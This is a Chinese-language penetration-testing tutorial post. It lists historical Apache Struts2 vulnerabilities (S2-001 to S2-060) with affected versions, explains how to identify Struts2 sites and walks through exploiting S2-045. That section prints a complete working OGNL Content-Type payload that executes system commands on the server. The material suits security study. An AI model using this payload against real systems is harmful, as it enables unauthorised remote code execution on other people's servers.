Struts2常见历史漏洞

发布于 2021-02-16  507 次阅读


《渗透测试》目录

常见历史漏洞-Struts2

1.Struts2介绍:Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web 应用的开源MVC框架,主要提供两个版本框架产品: Struts 1和Struts 2。

Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。

2.Struts2历史漏洞

Struts2历史漏洞(1)
    [+] S2-001:影响版本Struts 2.0.0-2.0.8; POST请求发送数据; 默认参数为:username,password; 支持获取WEB路径,任意命令执行和反弹shell
    [+] S2-003:影响版本Struts 2.0.0-2.0.11.2; GET请求发送数据; 支持任意命令执行
    [+] S2-005:影响版本Struts 2.0.0-2.1.8.1; GET请求发送数据; 支持获取WEB路径,任意命令执行
    [+] S2-007:影响版本Struts 2.0.0-2.2.3; POST请求发送数据; 默认参数为:username,password; 支持任意命令执行和反弹shell

Struts2历史漏洞(2)
    [+] S2-008:影响版本Struts 2.1.0-2.3.1; GET请求发送数据; 支持任意命令执行和反弹shell
    [+] S2-009:影响版本Struts 2.0.0-2.3.1.1; GET请求发送数据,URL后面需要请求参数名; 默认为: key; 支持任意命令执行和反弹shell
    [+] S2-012:影响版本Struts Showcase App 2.0.0-2.3.13; GET请求发送数据,参数直接添加到URL后面; 默认为:name; 支持任意命令执行和反弹shell
    [+] S2-013/S2-014:影响版本Struts 2.0.0-2.3.14.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传

Struts2历史漏洞(3)
    [+] S2-015:影响版本Struts 2.0.0-2.3.14.2; GET请求发送数据; 支持任意命令执行和反弹shell
    [+] S2-016:影响版本Struts 2.0.0-2.3.15; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
    [+] S2-019:影响版本Struts 2.0.0-2.3.15.1; GET请求发送数据; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
    [+] S2-029:影响版本Struts 2.0.0-2.3.24.1(除了2.3.20.3); POST请求发送数据,需要参数; 默认参数:message; 支持任意命令执行和反弹shell

Struts2历史漏洞(4)
    [+] S2-032:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
    [+] S2-033:影响版本Struts 2.3.20-2.3.28(除了2.3.20.3和2.3.24.3); GET请求发送数据; 支持任意命令执行和反弹shell
    [+] S2-037:影响版本Struts 2.3.20-2.3.28.1; GET请求发送数据; 支持获取WEB路径,任意命令执行和反弹shell
    [+] S2-045:影响版本Struts 2.3.5-2.3.31,2.5-2.5.10; POST请求发送数据,不需要参数; 支持获取WEB路径,任意命令执行,反弹shell和文件上传
Struts2历史漏洞(2019)
    [+] S2-059 CVE-2019-0230漏洞是一个Object-Graph Navigation Language(OGNL)强制两次评估的漏洞,当Struts尝试对tag属相中的原始用户输入进行评估时会触发该漏洞。攻击者可以通过注入恶意OGNL表达式到OGNL表达式中使用的属性中来利用该漏洞。攻击者利用该漏洞可以实现远程代码执行。
    [+] S2-060 CVE-2019-0233漏洞是文件上传时的访问权限重写导致的DoS漏洞。根据Apache的安全公告,攻击者可以在文件上传操作中修改请求将上传的文件设定为只读权限。一旦文件上传,对文件的任何操作都会失败。利用该漏洞会导致之后的文件上传操作失败,或者引发DoS条件。

3.struts2识别与漏洞利用

(1)Struts2框架识别-1

通过网页后缀来进行判断,如.do或者.action

(2)Struts2框架识别-2

判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true。

(3)Struts2漏洞验证

通过工具自行检验,工具可在GitHub上搜寻


4.Struts2-045漏洞

(1)Struts2-045漏洞介绍

安恒信息安全研究院WEBIN实验室高级安全研究员nike.zheng发现著名J2EE框架——Struts2存在远程代码执行的严重漏洞;(漏洞编号S2-045,CVE编号:cve-2017-5638),并定级为高风险,影响版本范围为Struts 2.3.5 – Struts 2.3.31和Struts 2.5 – Struts 2.5.10。

(2)Struts2-045漏洞危害

在使用基于Jakarta插件的文件上传功能时,有可能存在远程命令执行,导致系统被黑客入侵。恶意用户可在上传文件时通过修改HTTP请求头中的Content-Type值来触发该漏洞,进而执行系统命令。

(3)Struts2-045漏洞利用

随意上传一个文件并抓包

修改Content-Type为以下连接里的内容:

Content-Type:"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):(
(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

(4)Struts2-045漏洞利用(反弹shell)

反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。(前提需要有公网IP)


人生就像赛跑,不在乎你是否第一个到达终点,而在乎你是否跑完全程。